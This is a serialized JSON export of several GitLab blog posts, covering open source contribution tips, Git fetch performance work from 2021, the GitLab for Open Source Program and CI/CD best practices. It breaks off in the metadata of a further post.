you, and play well with others. Don’t be tempted to add to threads just to see your name. Try to find answers to questions within the community before you ask. Read the README file. [Read the documentation](https://gomakethings.com/open-source-etiquette/). If you do ask a question or send a pull request, be patient. Don't expect an immediate reply and don’t keep posting the same question. People have different priorities and might have been caught up with work and life. Make sure you have buy-in from project implementers before you send in actual code. This shows you want to contribute and you respect the work that has gone on before you.    \n\nReady to get started? Here are some success stories from our community to inspire you:\n* Dave Barr wrote about [“Why new software engineers should contribute to GitLab”](https://davebarr.dev/why-new-software-engineers-should-contribute-to-gitlab/)\n\n* [You’re hired! Two GitLab contributors turn their success into full-time engineering roles](/blog/you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles/)",[815,4103,267],{"slug":15453,"featured":6,"template":678},"first-time-open-source-contributor-5-things-to-get-you-started","content:en-us:blog:first-time-open-source-contributor-5-things-to-get-you-started.yml","First Time Open Source Contributor 5 Things To Get You Started","en-us/blog/first-time-open-source-contributor-5-things-to-get-you-started.yml","en-us/blog/first-time-open-source-contributor-5-things-to-get-you-started",{"_path":15459,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15460,"content":15465,"config":15470,"_id":15472,"_type":16,"title":15473,"_source":17,"_file":15474,"_stem":15475,"_extension":20},"/en-us/blog/git-fetch-performance-2021-part-2",{"title":15461,"description":15462,"ogTitle":15461,"ogDescription":15462,"noIndex":6,"ogImage":14571,"ogUrl":15463,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15463,"schema":15464},"Git fetch performance improvements in 2021, Part 2 ","Looking back at the server-side performance improvements we made in 2021 for Git fetch.","https://about.gitlab.com/blog/git-fetch-performance-2021-part-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git fetch performance improvements in 2021, Part 2 \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2022-02-07\",\n      }",{"title":15461,"description":15462,"authors":15466,"heroImage":14571,"date":15449,"body":15468,"category":734,"tags":15469},[15467],"Jacob Vosmaer","\nIn [Part 1](/blog/git-fetch-performance/) of this two-part series, we looked at how much server-side Git fetch performance, especially for CI, has improved in GitLab in 2021. Now, we will discuss how we achieved this.\n\n## Recap of Part 1\n-   In December 2019, we set up custom CI fetch caching automation for\n   `gitlab-org/gitlab`, which we internally called \"the CI pre-clone\n   script\".\n-   In December 2020, we encountered some production incidents on GitLab.com,\n   which highlighted that the CI pre-clone script had become critical\n   infrastructure but, at the same time, it had not yet matured beyond\n   a custom one-off solution.\n-   Over the course of 2021, we built an alternative caching solution\n   for CI Git fetch traffic called the pack-objects cache. In Part 1,\n   we discussed a benchmark simulating CI fetch traffic which shows\n   that the pack-objects cache combined with other efficiency\n   improvements reduced GitLab server CPU consumption 9x compared to\n   the baseline of December 2020.\n\n## The pack-objects cache\n\nAs discussed in Part 1, what we realized through the\nproduction incidents in December 2020 was that the CI pre-clone script\nfor `gitlab-org/gitlab` had become a critical piece of infrastructure.\nAt the same time, it benefited only one Git repository on GitLab.com,\nand it was not very robust. It would be much better to have an\nintegrated solution that benefits all repositories. We achieved this\ngoal by building the [pack-objects cache](https://docs.gitlab.com/ee/administration/gitaly/configure_gitaly.html#pack-objects-cache).\n\nThe name \"pack-objects cache\" refers to `git pack-objects`, which is\nthe Git [subcommand](https://git-scm.com/docs/git-pack-objects) that\nimplements the [packfile](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) compression algorithm. As this [Git commit message from Jeff King](https://gitlab.com/gitlab-org/gitlab-git/-/commit/20b20a22f8f7c1420e259c97ef790cb93091f475) explains, `git pack-objects` is a good candidate for a CI fetch cache.\n\n> You may want to insert a caching layer around\n> pack-objects; it is the most CPU- and memory-intensive\n> part of serving a fetch, and its output is a pure\n> function of its input, making it an ideal place to\n> consolidate identical requests.\n\nThe pack-objects cache is GitLab's take on this \"caching layer\". It\ndeduplicates identical Git fetch requests that arrive within a short\ntime window.\n\nAt a high level, when serving a fetch, we buffer the output of `git\npack-objects` into a temporary file. If an identical request comes in,\nwe serve it from the buffer file instead of creating a new `git\npack-objects` process. After 5 minutes, we delete the buffer file. If\nyou want to know more about how exactly the cache is implemented, you\ncan look at the implementation\n([1](https://gitlab.com/gitlab-org/gitaly/-/blob/v14.6.3/internal/gitaly/service/hook/pack_objects.go),\n[2](https://gitlab.com/gitlab-org/gitaly/-/tree/v14.6.3/internal/streamcache)).\n\n![Architecture diagram](https://about.gitlab.com/images/blogimages/git-fetch-2021/pack-objects-cache-architecture.jpg)\n\nBecause the amount of space used by the cache files is bounded roughly\nby the eviction window (5 minutes) multiplied by the maximum network bandwidth\nof the Gitaly server, we don't have to worry about the cache using a\nlot of storage. In fact, on GitLab.com, we store the cache files on the\nsame disks that hold the repository data. We leave a safety margin of\nfree space on these disks at all times anyway, and the cache fits in\nthat safety margin comfortably.\n\nSimilarly, we also don't notice the increase disk input/output\noperations per second (IOPS) used by the cache on GitLab.com. There\nare two reasons for this. First of all, whenever we _read_ data from\nthe cache, it is usually still in the Linux page cache, so it gets\nserved from RAM. The cache barely does any disk read I/O operations.\nSecond, although the cache does do _write_ operations, these fit\ncomfortably within the maximum sustained IOPS rate supported by the\nGoogle Compute Engine persistent disks we use.\n\nThis leads us to a disadvantage of the pack-objects cache, which is\nthat it really does write a lot of data to disk. On GitLab.com, we saw\nthe disk write throughput jump up by an order of magnitude. You can\nsee this in the graph below, which shows disk writes for a single\nGitaly server with a busy, large repository on it: (the GitLab [company\nwebsite](https://gitlab.com/gitlab-com/www-gitlab-com)). You can\nclearly see the number of bytes written to disk per second jump up when we\nturned the cache on.\n\n![increased disk writes with cache enabled](https://about.gitlab.com/images/blogimages/git-fetch-2021/cache-disk-writes.jpg)\n\nThis increase in disk writes is not a problem for our infrastructure because we have the\nspare capacity, but we were not sure we could assume the same for all\nother GitLab installations in the world. Because of this, we decided\nto leave the pack-objects cache off by default.\n\nThis was a difficult decision because we think almost all GitLab\ninstallations would benefit from having this cache enabled. One of the\nreasons we are writing this blog post is to raise awareness that this\nfeature is available, so that self-managed GitLab administrators can\nopt in to using it.\n\nAgain, on the positive side, the cache did not introduce a new\npoint of failure on GitLab.com. If the `gitaly` service is running,\nand if the repository storage disk is available, then the cache is\navailable. There are no external dependencies. And if `gitaly` is not\nrunning, or the repository storage disk is unavailable, then the whole\nGitaly server is unavailable anyway.\n\nAnd finally, cache capacity grows naturally with the number of Gitaly\nservers. Because the cache is completely local to each Gitaly server,\nwe do not have to worry about whether the cache keeps working as we\ngrow GitLab.com.\n\nThe pack-objects cache was introduced in GitLab 13.11. In GitLab 14.5,\nwe made it a lot more efficient by optimizing its transport using Unix\nsockets\n([1](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3758),\n[2](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3759)). If\nyou want to [try out the pack-objects cache](https://docs.gitlab.com/ee/administration/gitaly/configure_gitaly.html#pack-objects-cache) on\nyour self-managed GitLab instance, we recommend that you upgrade to\nGitLab 14.5 or newer first.\n\n## Improved RPC transport for Git HTTP\n\nAfter we built the pack-objects cache, we were able to generate a much\nhigher volume of Git fetch responses on a single Gitaly server.\nHowever, we then found out that the RPC transport between the HTTP\nfront-end (GitLab Workhorse) and the Gitaly server became a\nbottleneck. We tried disabling the CI pre-clone script of\n`gitlab-org/gitlab` in April 2021 but we quickly had to turn it back\non because the increased volume of Git fetch data transfer was slowing\ndown the rest of Gitaly.\n\nThe fetch traffic was acting as a noisy neighbor to all the other\ntraffic on `gitlab-org/gitlab`. For each GitLab.com Gitaly server, we\nhave a request latency\n[SLI](https://sre.google/sre-book/service-level-objectives/). This is\na metric that observes request latencies for a selection of RPCs that\nwe expect to be fast, and it tracks how many requests for these RPCs\nare \"fast enough\". If the percentage of fast-enough requests drops\nbelow a certain threshold, we know we have a problem.\n\nWhen we disabled the pre-clone script, the network traffic to the\nGitaly server hosting `gitlab-org/gitlab` went up, as expected. What\nwent wrong was that the percentage of fast-enough requests started to\ndrop. This was not because the server had to serve up more data: The\nRPCs that serve the Git fetch data do not count towards the latency\nSLI.\n\nBelow you see two graphs from the day we tried disabling the CI\npre-clone script. First, see how the network traffic off of the Gitaly\nserver increased once we disabled the CI pre-clone script. This is\nbecause instead of pulling most of the data from object storage, and\nonly some of the data from Gitaly, the CI runners now started pulling\nall of the Git data they needed from Gitaly.\n\n![network peaks](https://about.gitlab.com/images/blogimages/git-fetch-2021/no-script-network-annotated.png)\n\nNow consider our Gitaly request latency SLI for this particular\nserver. For historical reasons, we call this \"Apdex\" in our dashboards.\nRecall that this SLI tracks the percentage of fast-enough requests from\na selection of Gitaly RPCs. The ideal number would be 100%. In the\ntime window where the CI pre-clone script was disabled, this graph\nspent more time below 99%, and it even dipped below 96% several times.\n\n![latency drops](https://about.gitlab.com/images/blogimages/git-fetch-2021/no-script-latency-annotated.png)\n\nEven though we could not explain what was going on, the latency SLI dips\nwere clear evidence that disabling the CI pre-clone script slowed down\nunrelated requests to this Gitaly server, to a point which is\nunacceptable. This was a setback for our plan to replace the CI pre-clone script.\n\nBecause we did not want to just give up, we set aside some time to try\nand understand what the bottleneck was, and if it could be\ncircumvented. The bad news is that we did not come up with a\nsatisfactory answer about what the bottleneck is. But the good news is\nthat we were able to circumvent it.\n\nBy building a simplified [prototype alternate RPC\ntransport](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1046),\nwe were able to find out that with the pack-objects cache, the\nhardware we run on and Git itself were able to serve up much more\ntraffic than we were able to get out of GitLab. We [never got to the\nbottom](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1024)\nof what was causing all the overhead but a likely suspect is the fact\nthat gRPC-Go allocates memory for each message it sends, and with Git\nfetch traffic we send a lot of messages. Gitaly was spending a lot of\ntime doing garbage collection.\n\nWe then had to decide how to improve the situation. Because we were\nuncertain if we could fix the apparent bottleneck in gRPC, and because\nwe were certain that we could go faster by not sending the Git fetch data\nthrough gRPC in the first place, we chose to do the latter. We created\nmodified versions of the RPCs that carry the bulk of the Git fetch\ndata. On the surface, the new versions are still gRPC methods. But\nduring a call, each will establish a side channel, and use that for\nthe bulk data transfer.\n\n![side channel diagram](https://about.gitlab.com/images/blogimages/git-fetch-2021/sidechannel.png)\n\nThis way we avoided making major changes to the structure of Gitaly:\nit is still a gRPC server application. Logging, metrics,\nauthentication, and other middleware work as normal on the optimized\nRPCs. But most of the data transfer happens on either Unix sockets (for localhost RPC calls) or [Yamux streams](https://github.com/hashicorp/yamux/) (for the regular RPC calls).\n\nBecause we have 6x more Git HTTP traffic than Git SSH traffic on\nGitLab.com, we decided to initially only optimize the transport for\nGit HTTP traffic. We are still working on [doing the same for Git\nSSH](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/652) because, even though Git HTTP efficiency is more important for\nGitLab.com than that of Git SSH, we know that for some self-managed\nGitLab instances it is the other way around.\n\nThe new server-side RPC transport for Git HTTP was released in GitLab\n14.5. There is no configuration required for this improved transport.\nRegardless of whether you use the pack-objects cache on your GitLab\ninstance, Gitaly, Workhorse, and Praefect all use less CPU to handle\nGit HTTP fetch requests now.\n\nThe payoff for this work came in October 2021 when we disabled the CI\npre-clone script for `gitlab-org/gitlab`, which did not cause any\nnoisy neighbor problems this time. We have had no issues since then\nserving the Git fetch traffic for that project.\n\n## Improvements to Git itself\n\nAside from the pack-objects cache and the new RPC transport between\nWorkhorse and Gitaly, we also saw some improvements because of changes\nin Git itself. We discovered a few inefficiencies which we\nreported to the Git mailing list and helped get fixed.\n\nOur main repository `gitlab-org/gitlab` has hundreds of thousands of [Git\nreferences](https://git-scm.com/book/en/v2/Git-Internals-Git-References). Looking at CPU profiles, we [noticed](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/400) that a lot of Git\nfetch time was spent on the server iterating over these references.\nThese references were not even being sent back to the client; Git was\njust scanning through all of them on the server twice for each CI job.\n\nIn both cases, the problem could be fixed by doing a scan over a\nsubset instead of a scan across all references. These two problems got fixed\n([1](https://gitlab.com/gitlab-org/gitlab-git/-/commit/b3970c702cb0acc0551d88a5f34ad4ad2e2a6d39), [2](https://gitlab.com/gitlab-org/gitlab-git/-/commit/be18153b975844f8792b03e337f1a4c86fe87531)) in Git 2.31.0, released in March 2021.\n\nLater on, we found a different problem, also in the reference-related\nworkload of Git fetch. As part of the fetch protocol, the server sends\na list of references to the client so that the client can update its\nlocal branches etc. It turned out that for each reference, Git was\ndoing 1 or 2 `write` system calls on the server. This led to [a lot of\noverhead](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1257), and this was made worse by our old RPC transport which could\nend up sending 1 RPC message per advertised Git reference.\n\nThis problem got fixed in Git itself by changing the functions that\nwrite the references to [use buffered\nIO](https://gitlab.com/gitlab-org/gitlab-git/-/commit/70afef5cdf29b5159f18df1b93722055f78740f8).\nThis change landed in Git 2.34.0, released in November 2021. Ahead of\nthat, it got shipped in GitLab 14.4 as a custom Git patch.\n\nFinally, we discovered that increasing the copy buffer size used by\n`git upload-pack` to relay `git pack-objects` output made both `git\nupload-pack` and [every link in the chain after\nit](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/4224) more\nefficient. This got fixed in Git by [increasing the buffer\nsize](https://gitlab.com/gitlab-org/gitlab-git/-/commit/55a9651d26a6b88c68445e7d6c9f511d1207cbd8).\nThis change is part of Git 2.35.0 and is included in GitLab 14.7, both\nof which were released in January 2022.\n\n## Summary\n\nIn Part 1, we showed that GitLab server performance when service CI Git fetch traffic has improved a lot in 2021. In this post, we explained that the improvements are due to:\n\n- The pack-objects cache\n- A more efficient Git data transport between server-side GitLab components\n- Efficiency improvements in Git itself\n\n## Thanks\n\nMany people have contributed to the work described in this blog post.\nI would like to specifically thank Quang-Minh Nguyen and Sean McGivern\nfrom the Scalability team, and Patrick Steinhardt and Sami Hiltunen\nfrom the Gitaly team.\n\n## Related content\n\n- Improvements to the client-side performance of `git fetch` (although GitLab is a server application, it sometimes acts as a Git client): [mirror fetches](https://gitlab.com/gitlab-org/git/-/issues/95), [fetches into repositories with many references](https://gitlab.com/gitlab-org/git/-/issues/94)\n- Improvements to server-side Git push performance: [consistency check improvements](https://gitlab.com/gitlab-org/git/-/issues/92)\n",[1067,6962,1268],{"slug":15471,"featured":6,"template":678},"git-fetch-performance-2021-part-2","content:en-us:blog:git-fetch-performance-2021-part-2.yml","Git Fetch Performance 2021 Part 2","en-us/blog/git-fetch-performance-2021-part-2.yml","en-us/blog/git-fetch-performance-2021-part-2",{"_path":15477,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15478,"content":15483,"config":15489,"_id":15491,"_type":16,"title":15492,"_source":17,"_file":15493,"_stem":15494,"_extension":20},"/en-us/blog/ultimate-perks-for-open-source-projects",{"title":15479,"description":15480,"ogTitle":15479,"ogDescription":15480,"noIndex":6,"ogImage":10878,"ogUrl":15481,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15481,"schema":15482},"Public open source projects are eligible for Ultimate tier features","GitLab's Open Source Program offers top-tier functionality and 50,000 CI pipeline minutes, for free. Learn more about applying.","https://about.gitlab.com/blog/ultimate-perks-for-open-source-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Public open source projects are eligible for Ultimate tier features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2022-02-04\",\n      }",{"title":15479,"description":15480,"authors":15484,"heroImage":10878,"date":15486,"body":15487,"category":736,"tags":15488},[15485],"Orit Golowinski","2022-02-04","\n> **2022-07-28 UPDATE:** As of 2022-07-01, all public open source projects on the Free tier have to apply to the Open Source program to continue receiving GitLab Ultimate benefits. In-app notifications informing impacted users of the change were active from 2022-04-18 through 2022-07-01. Please refer to the [FAQ](/pricing/faq-efficient-free-tier/#public-projects-on-gitlab-saas-free-tier) for more details.\n\nGitLab believes in a world where everyone can contribute and we like to support those who share our mission.\n\nGitLab exists today in large part thanks to the work of hundreds of thousands of open source contributors around the world. To give back to this community, the [GitLab for Open Source Program](/solutions/open-source/) was created to help open source teams be more efficient, secure, and productive by allowing them to use GitLab’s [top tier](/pricing/) capabilities.\n\nOpen source organizations have to meet the program requirements and actively apply in order to qualify. \n\nRequirements include:\n\n* **OSI-approved open source license**: All of the code you host in this GitLab group must be published under [OSI-approved open source licenses](https://opensource.org/licenses/category)\n* **Not seeking profit**: Your organization must not seek to make a profit through services or by charging for higher tiers. Accepting donations to sustain your efforts is ok. [Read more about this requirement here](/handbook/marketing/developer-relations/community-programs/opensource-program/#who-qualifies-for-the-gitlab-for-open-source-program).\n* Publicly visible: Your GitLab.com group or self-managed instance and your source code must be [publicly visible and publicly available](https://docs.gitlab.com/ee/user/public_access.html).\n\n[Learn more and apply](/solutions/open-source/join/) to the GitLab for Open Source Program.\n\n**Note**: Newly created public projects will no longer automatically receive the Ultimate tier benefits as of 2022-02-17, more details in [this FAQ entry](/pricing/faq-efficient-free-tier/#public-projects-on-gitlab-saas-free-tier). In order to receive the benefits, you will need to [apply](#how-to-apply) to the GitLab for Open Source Program.\n\n## Why apply to the GitLab for Open Source Program?\n\nThe GitLab for Open Source Program gives access to unlimited seats per license to features of [GitLab Ultimate](/pricing/ultimate/) (SaaS or Self-Managed), including 50,000 CI/CD minutes, for free to qualifying open source projects. GitLab Ultimate includes features that allow organization-wide security, compliance and planning. Some key features include:\n\n- [Multi-level Epics](https://docs.gitlab.com/ee/user/group/epics/)\n- [Portfolio-level Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/)\n- [Requirements Management](/direction/plan/#requirements-management)\n- [Compliance pipeline configuration](https://docs.gitlab.com/ee/user/project/settings/#compliance-pipeline-configuration)\n- [Chain of custody report](https://docs.gitlab.com/ee/user/compliance/compliance_report/#chain-of-custody-report)\n- [Vulnerability Database](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#contributing-to-the-vulnerability-database)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n- and much more...\n\nTo see a complete list of features, see our\n[Feature Comparison between tiers](/pricing/feature-comparison/) page. \n\n* Free top-tier accounts do not include support. However, you can purchase [support](/support/) for 95% off, at $4.95 per user per month.\n* Your program membership needs to be renewed annually. If you do not renew, [your account will be downgraded](/pricing/licensing-faq/#what-happens-when-my-subscription-is-about-to-expire-or-has-expired).\n* Acceptance into the GitLab for Open Source Program is at GitLab’s sole discretion, and we reserve the right to terminate the Program, or change the [Program requirements](/solutions/open-source/join/#requirements) at any time.\n\nIf you have any additional questions regarding this program, feel free to reach us at [opensource@gitlab.com](mailto:opensource@gitlab.com).\n\n## How to apply\n\n1. Set up a GitLab account. You’ll need to have a GitLab group already set up for your open source project or organization through a Free account or Free Trial. For help setting up a GitLab group, please see the relevant [FAQ](/solutions/open-source/join/#faqs). If you're considering a migration, you do not need to have finished the migration before applying to our program. You will need at least one project (repo) set up under your GitLab group to comply with our requirements.\n1. Take screenshots. During the application process, you’ll need to provide 3 screenshots of your project. We suggest taking them in advance, since you’ll need to submit them on page two of the application form.\n1. Fill out the [form](/solutions/open-source/join/#application) and submit it. \n\nApplications are reviewed and a response to your request can be expected within 10 business days. You may be asked to provide additional information.\n\nCover image by [Clay Banks](https://unsplash.com/photos/N3SsG7xR-Dg) on [Unsplash](https://unsplash.com)\n{: .note}\n",[815,2704,4103],{"slug":15490,"featured":6,"template":678},"ultimate-perks-for-open-source-projects","content:en-us:blog:ultimate-perks-for-open-source-projects.yml","Ultimate Perks For Open Source Projects","en-us/blog/ultimate-perks-for-open-source-projects.yml","en-us/blog/ultimate-perks-for-open-source-projects",{"_path":15496,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15497,"content":15502,"config":15507,"_id":15509,"_type":16,"title":15510,"_source":17,"_file":15511,"_stem":15512,"_extension":20},"/en-us/blog/how-to-keep-up-with-ci-cd-best-practices",{"title":15498,"description":15499,"ogTitle":15498,"ogDescription":15499,"noIndex":6,"ogImage":10711,"ogUrl":15500,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15500,"schema":15501},"How to keep up with CI/CD best practices","In this post, we look at continuous integration/continuous delivery (CI/CD), how to implement some best practices, and why it is important.","https://about.gitlab.com/blog/how-to-keep-up-with-ci-cd-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to keep up with CI/CD best practices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-02-03\",\n      }",{"title":15498,"description":15499,"authors":15503,"heroImage":10711,"date":15504,"body":15505,"category":8943,"tags":15506},[11618],"2022-02-03","\nContinuous integration and continuous delivery (CI/CD) are at the heart of any successful DevOps practice. Teams wanting to achieve modern software development must keep up with [CI/CD](/topics/ci-cd/) best practices. Here’s what you need to know to make sure your team is on the right track.\n\n## What is the meaning of CI/CD?\n\nIt’s a tech process, it’s a mindset, it’s a series of steps… CI/CD is all of those things. Put simply, CI enables DevOps teams to streamline code development using automation. CI simplifies software builds and source code integration, enables version control, and promotes greater collaboration via automation. Where CI leaves off, continuous delivery kicks in with automated testing and deployment. Not only does CD reduce the amount of “hands on” time ops pros need to spend on delivery and deployment, it also enables teams to [drastically reduce the number of tools](/resources/whitepaper-forrester-manage-your-toolchain/) required to manage the lifecycle.\n\n## What are the best practices for CICD?\n\nIf you want to be successful with CI/CD, make continuous integration, delivery, and deployment your mantra as they are the cornerstones of software development practices. The goal of DevOps is to get software to users more quickly than traditional methods, and these development practices will help make that happen.\n\nIf you ask 10 DevOps teams for their take on CI/CD best practices, granted, you'll likely get 10 different answers. However, there are several tips that are widely agreed upon:\n\n1. Only build once: Don't create a new build for each stage because you risk introducing inconsistencies. Instead, promote the same build artifacts throughout each stage of the CI/CD pipeline. This requires an environment-agnostic build.\n\n2. Streamline the tests: Strike a balance between test coverage and performance. If it takes too long for test results users will try to circumvent the process.\n\n3. Fail fast: On the CI side, devs committing code need to know as quickly as possible if there are issues so they can roll the code back and fix it while it’s fresh in their minds. The idea of “fail fast” helps reduce developer context switching too, which makes for happier DevOps professionals.\n\n4. Make it daily: The more regular the code commits, the more benefit DevOps teams will see.\n\n5. Fix it if it’s broken: CI/CD makes it simple to fix broken builds.\n\n6. Clean pre-production environments:The longer environments are kept running, the harder it becomes to track all the configuration changes and updates that have been applied. This is good incentive to clean up pre-production environments between each deployment. \n\n7. Automation all the time: Keep tweaking the CI/CD pipeline to ensure the “continuous automation” state is achieved.\n\n8. Know the steps: Make sure the release and rollback plans are well documented and understood by the entire team.\n\n9. Keep it safe: CI/CD is a shift left, so it offers a good opportunity to integrate security earlier in the process.\n\n10. It’s a loop: Make sure there’s an easy way for the entire team to receive (and contribute to) feedback.\n\n## Continuous delivery best practices\n\nContinuous delivery/deployment feels like it deserves it’s own deep dive into best practices because CI often steals most of the headlines. Here is a roundup of CD best practices:\n\n- Start where you are: Don’t wait for a new platform. It’s always possible to tweak what you have to make it faster and more efficient.\n\n- Less is more: The best CD is done with minimal tools.\n\n- Track what’s happening: Issues and merge requests can get out of hand. If milestones are an option, they can help. Bonus: Milestones do double-duty when setting up Agile sprints and releases.\n\n- Automatically deploy changes: Streamline user acceptance testing and staging with automation.\n\n- Manage the release pipeline: Automation is the answer.\n\n- Establish monitoring: Keeping a good eye on the production process saves time and money. It also can provide key data points to the business side.\n\n- Kick off continuous deployment: Once continuous delivery is humming, bring on the hands-free deployment where it’s possible to send changes to production automatically. \n\n## How to improve the CI/CD pipeline\n\nA pipeline is just another way of characterizing the series of steps involved in deploying a new version of software. Monitoring and automation are concepts introduced in a CI/CD pipeline to improve the app development process, especially during the integration and testing phases, as well as when software is delivered and deployed.\n\nThe typical elements of a CI/CD pipeline are: plan, analyze, design, build, test, release, deploy, validation and compliance and maintenance. These steps can be done manually, but the real value of a CI/CD pipeline comes when they are automated.\n\nIf it’s time to finetune the CI/CD pipeline, consider the following performance enhancements:\n\n- Mix up the release strategy. A [canary release](https://martinfowler.com/bliki/CanaryRelease.html) (sometimes called a canary deployment) might be worth considering. In a canary release, new features are deployed to just a select group of users.\n\n- Add more automated testing because there is [never enough automated testing](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/). \n\n- Continue to pare down. Fewer tools mean fewer handoffs and steps. If CI/CD is part of a [DevOps platform](/topics/devops-platform/), everything will be in one place. \n\n- Consider a routine practice of [software composition analysis](https://www.csoonline.com/article/3640808/software-composition-analysis-explained-and-how-it-identifies-open-source-software-risks.html) to ensure the DevOps team is keeping track of critical open source software issues. \n\n## How to measure the success of CI/CD \n\nDevOps teams can’t know how well their CI/CD practices are going unless they measure them. [Metrics](https://about.gitlab.com/topics/ci-cd/continuous-integration-metrics/) play an important role in improving system performance and helping to identify where value can be added. They also provide a baseline for measuring the impact of any improvements made.\n\n Here are the best metrics to employ:\n\n### Cycle time\nThis refers to how long it takes to roll out a functional application from the time work on the code begins. To figure out the average life cycle time, measure the development process phases. This metric will provide insight into what the overall development time is and any bottlenecks in the process.\n\n### Time to value\nThis refers to how long it takes to release written code. The integration, testing, delivery, and deployment should take anywhere from minutes up to a few hours for test cycles to finish. If it takes days to move a build through the CI/CD pipeline time to value is not being realized and the process should be fine-tuned.\n\n### Uptime\nUptime is a measure of stability and reliability and whether everything is working as it should. It is one of the biggest priorities the ops team has. When the CI/CD strategy is automated, ops leaders can focus more of their time on system stability and less time on workflow issues.\n\n### Error rates\nApplication error rates is a fact of life in the development process. Tracking them is very important because not only can error rates indicate quality problems, but also ongoing performance and uptime related issues. \nIf uptime and error rates seem high, it can illustrate a [common CI/CD challenge](https://about.gitlab.com/blog/modernize-your-ci-cd/) between dev and ops teams. Operations goals are a key indicator of process success.\n\n### Infrastructure costs\nInfrastructure costs are critically important with cloud native development. Deploying and managing a CI/CD platform can result in big expenses if they are not kept in check.\nTo determine how they will set their prices, cloud providers will consider what the cost is of network hardware, infrastructure maintenance, and labor. \n\n### Team retention\nIt’s no mystery: When a developer – or anyone, really – feels valued and satisfied they’re apt to stick around. When teams work well together and know how to collaborate, retention is likely to follow. On the flip side, developers might feel uncomfortable speaking up if they don’t like how things are going, but looking at retention rates can help identify potential problems.\n\n##  What are the benefits of following CI/CD best practices?\n\nWhen best practices are followed, the [benefits of CI/CD](https://about.gitlab.com/topics/ci-cd/benefits-continuous-integration/) are felt throughout an organization: From HR to operations, teams work better and achieve goals. Establishing metrics around CI/CD performance can go beyond providing insights on development and carry over to many aspects of the business. \n\nA well-functioning CI/CD pipeline can be a game changer for DevOps teams. Here are some of the biggest benefits:\n\n**Developers aren’t fixing things, they’re writing code.** Fewer tools and toolchains mean less time spent on maintenance and more time spent actually producing high-quality software applications.\n\n**Code is in production.** Rather than sitting in a queue, code actually makes it out into the real world. This also leads to happier developers.\n\n**Developers have the bandwidth to focus on solving business problems.** A streamlined CI/CD process lets developers actually focus on what matters and not on the distractions of problem code, missed handoffs, production issues, and more.\n\n**It’s easier to innovate.** It’s a competitive world, and organizations need all the tools at their disposal to stay ahead. A well-built CI/CD process makes software development easier, faster and safer, which means DevOps teams have the time and energy to think outside the box.\n\n**Attract and retain talent.** It’s a very competitive labor market and DevOps talent can be very hard to impress. Nothing says “we take our DevOps team seriously” more than an organization that’s invested in the technology and processes around CI/CD.\n\n**Everyone does what they do best.** Dev, ops, sec and test each have a critical role to play, and CI/CD helps [clearly delineate the responsibilities](/topics/devops/build-a-devops-team/).\n\n## CI/CD deployment strategy\n\nRemember that CI/CD is about getting a software application into the hands of a customer that is better and done quicker than before. Organizations that adopt CI/CD find their productivity improves significantly. The trick is coming up with a deployment strategy that works for the individual organization. \n\nHere are some strategies to help make a deployment successful:\n\n- Commit to frequency in CD\n- Automate the build process\n- Run tests in parallel, and create a deployment pipeline\n- Fail fast and adopt a shift left mentality to give developers the skills and tools to accelerate without breaking things \n- Use CI tools that provide faster feedback\n\n## How can I implement CI/CD in my organization?\n\nBefore any software is implemented, it’s key to determine what the business drivers are and the same goes for adopting CI/CD. All development stakeholders should be involved early on in the implementation process. Developers should provide input since they will be the main users of a product. \n\nMake sure to do your due diligence when researching software that enables CI/CD, and ask about free trials. \n\nWhile it may seem counterintuitive since CI/CD is about accelerating the pace of software delivery in an automated fashion, start the process with a mentality of slow and steady. The boost in efficiency will decline if bugs are steadily moving into the finished application. \n\nIt’s important to have consistency in the integration process. Perform unit tests, trigger releases manually and track metrics. Then determine what can and should be automated.\n",[1384,1385,4103],{"slug":15508,"featured":6,"template":678},"how-to-keep-up-with-ci-cd-best-practices","content:en-us:blog:how-to-keep-up-with-ci-cd-best-practices.yml","How To Keep Up With Ci Cd Best Practices","en-us/blog/how-to-keep-up-with-ci-cd-best-practices.yml","en-us/blog/how-to-keep-up-with-ci-cd-best-practices",{"_path":15514,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15515,"content":15521,"config":15525,"_id":15527,"_type":16,"title":15528,"_source":17,"_file":15529,"_stem":15530,"_extension":20},"/en-us/blog/the-devops-platform-series-building-a-business-case",{"title":15516,"description":15517,"ogTitle":15516,"ogDescription":15517,"noIndex":6,"ogImage":15518,"ogUrl":15519,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15519,"schema":15520},"The DevOps Platform series: Building a business case","Understanding the need for a DevOps platform is key to realizing the business value of DevSecOps. This is the first in a three-part series.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668185/Blog/Hero%20Images/Chorus_case_study.png","https://about.gitlab.com/blog/the-devops-platform-series-building-a-business-case","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The DevOps Platform series: Building a business case\",\n        \"author\": 